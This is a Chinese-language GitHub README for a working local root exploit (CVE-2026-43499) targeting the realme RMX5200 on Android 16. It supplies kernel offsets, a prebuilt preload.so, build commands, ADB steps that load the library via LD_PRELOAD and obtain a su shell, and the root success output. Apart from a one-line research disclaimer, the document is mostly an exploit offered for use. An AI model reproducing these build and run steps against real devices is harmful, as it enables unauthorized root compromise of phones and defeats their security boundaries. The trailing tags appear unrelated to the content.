sorrow404Null/CVE-2026-43499-RMX5200
GitHub: sorrow404Null/CVE-2026-43499-RMX5200
针对 realme RMX5200 设备的 CVE-2026-43499 本地提权漏洞利用 SO 构建项目,包含源码、内核偏移量和预编译二进制文件。
Stars: 5 | Forks: 0
# 适用于 realme RMX5200 的 CVE-2026-43499
CVE-2026-43499 本地提权 **SO** 适用于:
| 项目 | 值 |
|------|--------|
| 设备 | realme **RMX5200** / RE6030L1 |
| Android | 16 |
| 内核 | `6.12.23-android16-5-gb2a876903b49-ab14541642-4k` |
| 指纹 | `realme/RMX5200/RE6030L1:16/BP2A.250605.015/...:user/release-keys` |
预编译二进制文件:[`bin/preload.so`](bin/preload.so)
此仓库仅保留 **SO 构建树**(源码 + 偏移量 + 预编译文件)。不包含浏览器 harness、固件转储或测试脚手架。
基于公开的 IonStack / popsicle-style 链;偏移量根据此设备的 `boot.img` + `xbl_config.img` 重新生成。
## 目录结构
```
.
├── bin/preload.so # prebuilt aarch64 shared object (verified)
├── generate_target.py # optional: regenerate target.h from boot+xbl
├── source/
│ ├── Makefile
│ └── src/
│ ├── target.h # RMX5200 offsets
│ ├── main.c preload.c slide.c ...
│ └── kernelsnitch/
└── README.md
```
## 构建
要求:
- Android NDK(推荐 r27+)
- Python 3 + `llvm-objdump`(仅在重新生成 `target.h` 时需要)
### 使用 make
```
# Linux NDK 示例
export NDK_ROOT=/path/to/android-ndk
make -C source clean preload
# Windows NDK 示例
make -C source clean preload \
NDK_ROOT="/c/Users/YOU/AppData/Local/Android/Sdk/ndk/27.2.12479018" \
NDK_TOOLCHAIN="/c/Users/YOU/AppData/Local/Android/Sdk/ndk/27.2.12479018/toolchains/llvm/prebuilt/windows-x86_64"
```
输出:
```
source/build/bin/preload.so
```
### 不使用 make(直接使用 clang)
```
cd source
mkdir -p build/bin build/embed
CC="$NDK_TOOLCHAIN/bin/aarch64-linux-android35-clang"
$CC -O2 -Isrc -fPIE -pie -DTARGET_CONFIG_H=\"target.h\" \
src/su_daemon.c -o build/embed/su_daemon_aarch64_pie
$CC -O2 -Isrc -fPIC -Wno-unused-parameter -Wno-sign-compare -Wno-unused-function \
-DTARGET_CONFIG_H=\"target.h\" \
src/main.c src/util.c src/slide.c src/fops.c src/pipe.c \
src/preload.c src/su_blob.S \
-shared -o build/bin/preload.so -pthread
```
### 重新生成偏移量(可选)
需要匹配的固件镜像(不包含在此仓库中):
```
python3 generate_target.py \
--boot boot.img \
--xbl-config xbl_config.img \
--llvm-objdump llvm-objdump \
-o source/src/target.h
```
## 运行
### ADB LD_PRELOAD
```
adb push bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 0644 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true'
adb shell '/data/local/tmp/su -c id'
```
### 浏览器链(外部)
通过 Firefox-151 lonStack-style 主机(例如 Rootme 设备条目)加载此 `preload.so`。不包含在此仓库中。
成功标志:
```
slide-kaslr-ok
direct credential result uid=0 ...
local su binary ready path=/data/local/tmp/su
direct-root-summary root=1 ...
```
```
uid=0(root) gid=0(root) ... context=kernel
```
## 注意事项
- **仅为临时 root** —— 重启后会失效。
- 成功后,部分应用可能在重启前无法完成 Framework 初始化(与相关公开目标存在的副作用类型相同)。
- 偏移量是**特定于构建版本的**。其他 OTA 构建版本需要新的 `target.h` 或重新构建。
- 仅限对自己拥有的设备进行授权的安全研究。
## 鸣谢
- 公开研究背景:IonStack / CVE-2026-43499 分析文章
- 实现渊源:popsicle-style `preload.so` 链
- 设备适配:RMX5200 (RE6030L1)
标签:Android, CSV导出, DSL, Web报告查看器, 客户端加密, 本地提权, 逆向工具